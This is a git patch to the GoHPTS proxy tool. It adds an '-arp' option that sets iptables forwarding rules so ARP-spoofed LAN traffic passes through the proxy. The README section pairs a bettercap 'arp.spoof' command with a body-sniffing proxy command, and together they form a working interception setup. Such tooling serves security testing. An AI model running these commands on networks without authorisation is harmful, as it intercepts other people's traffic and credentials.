From 7a8d380bf83574f77548055bb2b77baa8ef0bf02 Mon Sep 17 00:00:00 2001 From: shadowy-pycoder <35629483+shadowy-pycoder@users.noreply.github.com> Date: Sun, 6 Jul 2025 15:00:33 +0300 Subject: [PATCH] added setup to handle ARP spoofed traffic --- README.md | 23 ++++++++++++++++++- cmd/gohpts/cli.go | 12 ++++++++++ gohpts.go | 55 ++++++++++++++++++++++++++++++++++++++++++++-- tproxy_linux.go | 22 +++++++++++++++++++ tproxy_nonlinux.go | 5 +++++ version.go | 2 +- 6 files changed, 115 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 62146b0..92e8b1e 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,7 @@ - [Transparent proxy](#transparent-proxy) - [redirect (via NAT and SO_ORIGINAL_DST)](#redirect-via-nat-and-so_original_dst) - [tproxy (via MANGLE and IP_TRANSPARENT)](#tproxy-via-mangle-and-ip_transparent) + - [ARP spoofing](#arp-spoofing) - [Traffic sniffing](#traffic-sniffing) - [JSON format](#json-format) - [Colored format](#colored-format) @@ -97,7 +98,7 @@ You can download the binary for your platform from [Releases](https://github.com Example: ```shell -HPTS_RELEASE=v1.8.3; wget -v https://github.com/shadowy-pycoder/go-http-proxy-to-socks/releases/download/$HPTS_RELEASE/gohpts-$HPTS_RELEASE-linux-amd64.tar.gz -O gohpts && tar xvzf gohpts && mv -f gohpts-$HPTS_RELEASE-linux-amd64 gohpts && ./gohpts -h +HPTS_RELEASE=v1.8.4; wget -v https://github.com/shadowy-pycoder/go-http-proxy-to-socks/releases/download/$HPTS_RELEASE/gohpts-$HPTS_RELEASE-linux-amd64.tar.gz -O gohpts && tar xvzf gohpts && mv -f gohpts-$HPTS_RELEASE-linux-amd64 gohpts && ./gohpts -h ``` Alternatively, you can install it using `go install` command (requires Go [1.24](https://go.dev/doc/install) or later): @@ -164,6 +165,7 @@ Options: -T Address of transparent proxy server (no HTTP) -M Transparent proxy mode: (redirect, tproxy) -auto Automatically setup iptables for transparent proxy (requires elevated privileges) + -arp Automatically setup iptables to proxy ARP spoofed traffic (use tools like bettercap to perform actual attack) -mark Set mark for each packet sent through transparent proxy (Default: redirect 0, tproxy 100) ``` @@ -479,6 +481,25 @@ else fi ``` +### ARP spoofing + +`GoHPTS` can be used with tools like [Bettercap](https://github.com/bettercap/bettercap) to proxy ARP spoofed traffic. + +Run the proxy with `-arp` flag + +```shell +ssh remote -D 1080 -Nf +sudo env PATH=$PATH gohpts -d -T 8888 -M tproxy -sniff -body -auto -mark 100 -arp +``` + +Run `bettercap` + +```shell +sudo bettercap -eval "set net.probe on;set net.recon on;arp.spoof on" +``` + +Check proxy logs for traffic from other devices from your LAN + ## Traffic sniffing [[Back]](#table-of-contents) diff --git a/cmd/gohpts/cli.go b/cmd/gohpts/cli.go index dc848d9..444e7ae 100644 --- a/cmd/gohpts/cli.go +++ b/cmd/gohpts/cli.go @@ -61,6 +61,7 @@ const usageTproxy string = ` -T Address of transparent proxy server (no HTTP) -M Transparent proxy mode: (redirect, tproxy) -auto Automatically setup iptables for transparent proxy (requires elevated privileges) + -arp Automatically setup iptables to proxy ARP spoofed traffic (use tools like bettercap to perform actual attack) -mark Set mark for each packet sent through transparent proxy (Default: redirect 0, tproxy 100) ` @@ -113,6 +114,12 @@ func root(args []string) error { 0, "Set mark for each packet sent through transparent proxy (Default: redirect 0, tproxy 100)", ) + flags.BoolVar( + &conf.ARP, + "arp", + false, + "Automatically setup iptables to proxy ARP spoofed traffic (use tools like bettercap to perform actual attack)", + ) } flags.StringVar(&conf.LogFilePath, "logfile", "", "Log file path (Default: stdout)") flags.BoolVar(&conf.Debug, "d", false, "Show logs in DEBUG mode") @@ -172,6 +179,11 @@ func root(args []string) error { return fmt.Errorf("-mark requires -t or -T flag") } } + if seen["arp"] { + if !seen["auto"] { + return fmt.Errorf("-arp requires -auto flag") + } + } if seen["f"] { for _, da := range []string{"s", "u", "U", "c", "k", "l"} { if seen[da] { diff --git a/gohpts.go b/gohpts.go index eadaa3a..1a58680 100644 --- a/gohpts.go +++ b/gohpts.go @@ -97,6 +97,7 @@ type Config struct { TProxyMode string Auto bool Mark uint + ARP bool LogFilePath string Debug bool JSON bool @@ -120,6 +121,7 @@ type proxyapp struct { tproxyMode string auto bool mark uint + arp bool user string pass string proxychain chain @@ -1361,10 +1363,53 @@ func (p *proxyapp) applyRedirectRules() string { cmdForward.Stdout = os.Stdout cmdForward.Stderr = os.Stderr _ = cmdForward.Run() + if p.arp { + cmdClear := exec.Command("bash", "-c", ` + set -ex + iptables -t filter -F GOHPTS 2>/dev/null || true + iptables -t filter -D FORWARD -j GOHPTS 2>/dev/null || true + iptables -t filter -X GOHPTS 2>/dev/null || true + `) + cmdClear.Stdout = os.Stdout + cmdClear.Stderr = os.Stderr + if err := cmdClear.Run(); err != nil { + p.logger.Fatal().Err(err).Msg("Failed while configuring iptables. Are you root?") + } + iface, err := getDefaultInterface() + if err != nil { + p.logger.Fatal().Err(err).Msg("failed getting default network interface") + } + cmdForward := exec.Command("bash", "-c", fmt.Sprintf(` + set -ex + iptables -t filter -N GOHPTS 2>/dev/null + iptables -t filter -F GOHPTS + iptables -t filter -A FORWARD -j GOHPTS + iptables -t filter -A GOHPTS -i %s -j ACCEPT + iptables -t filter -A GOHPTS -o %s -j ACCEPT + `, iface.Name, iface.Name)) + cmdForward.Stdout = os.Stdout + cmdForward.Stderr = os.Stderr + if err := cmdForward.Run(); err != nil { + p.logger.Fatal().Err(err).Msg("Failed while configuring iptables. Are you root?") + } + } return string(output) } func (p *proxyapp) clearRedirectRules(output string) error { + if p.arp { + cmdClear := exec.Command("bash", "-c", ` + set -ex + iptables -t filter -F GOHPTS 2>/dev/null || true + iptables -t filter -D FORWARD -j GOHPTS 2>/dev/null || true + iptables -t filter -X GOHPTS 2>/dev/null || true + `) + cmdClear.Stdout = os.Stdout + cmdClear.Stderr = os.Stderr + if err := cmdClear.Run(); err != nil { + p.logger.Fatal().Err(err).Msg("Failed while configuring iptables. Are you root?") + } + } var cmd *exec.Cmd switch p.tproxyMode { case "redirect": @@ -1701,7 +1746,7 @@ func New(conf *Config) *proxyapp { p.tproxyMode = conf.TProxyMode tproxyonly := conf.TProxyOnly != "" if tproxyonly { - if p.tproxyMode == "tproxy" { + if p.tproxyMode != "" { p.tproxyAddr, err = getFullAddress(conf.TProxyOnly, true) if err != nil { p.logger.Fatal().Err(err).Msg("") @@ -1713,7 +1758,7 @@ func New(conf *Config) *proxyapp { } } } else { - if p.tproxyMode == "tproxy" { + if p.tproxyMode != "" { p.tproxyAddr, err = getFullAddress(conf.TProxy, true) if err != nil { p.logger.Fatal().Err(err).Msg("") @@ -1739,6 +1784,12 @@ func New(conf *Config) *proxyapp { if p.mark == 0 && p.tproxyMode == "tproxy" { p.mark = 100 } + p.arp = conf.ARP + if p.arp && runtime.GOOS != "linux" { + p.logger.Fatal().Msg("ARP setup is available only for linux system") + } else if p.arp && !p.auto { + p.logger.Fatal().Msg("ARP setup requires auto configuration") + } var addrHTTP, addrSOCKS, certFile, keyFile string if conf.ServerConfPath != "" { var sconf serverConfig diff --git a/tproxy_linux.go b/tproxy_linux.go index 94db8ea..cab13ce 100644 --- a/tproxy_linux.go +++ b/tproxy_linux.go @@ -4,11 +4,13 @@ package gohpts import ( + "bufio" "context" "errors" "fmt" "net" "net/netip" + "os" "strings" "sync" "syscall" @@ -257,3 +259,23 @@ func getBaseDialer(timeout time.Duration, mark uint) *net.Dialer { } return dialer } + +func getDefaultInterface() (*net.Interface, error) { + f, err := os.Open("/proc/net/route") + if err != nil { + return nil, err + } + defer f.Close() + + defaultInterface := "" + scanner := bufio.NewScanner(f) + for scanner.Scan() { + line := scanner.Text() + fields := strings.Fields(line) + if len(fields) >= 2 && fields[1] == "00000000" { + defaultInterface = fields[0] + break + } + } + return net.InterfaceByName(defaultInterface) +} diff --git a/tproxy_nonlinux.go b/tproxy_nonlinux.go index 850883e..76cbaa2 100644 --- a/tproxy_nonlinux.go +++ b/tproxy_nonlinux.go @@ -4,6 +4,7 @@ package gohpts import ( + "fmt" "net" "sync" "syscall" @@ -46,3 +47,7 @@ func getBaseDialer(timeout time.Duration, mark uint) *net.Dialer { _ = mark return &net.Dialer{Timeout: timeout} } + +func getDefaultInterface() (*net.Interface, error) { + return nil, fmt.Errorf("not implemented") +} diff --git a/version.go b/version.go index ed72300..fdcff4e 100644 --- a/version.go +++ b/version.go @@ -1,3 +1,3 @@ package gohpts -const Version string = "gohpts v1.8.3" +const Version string = "gohpts v1.8.4"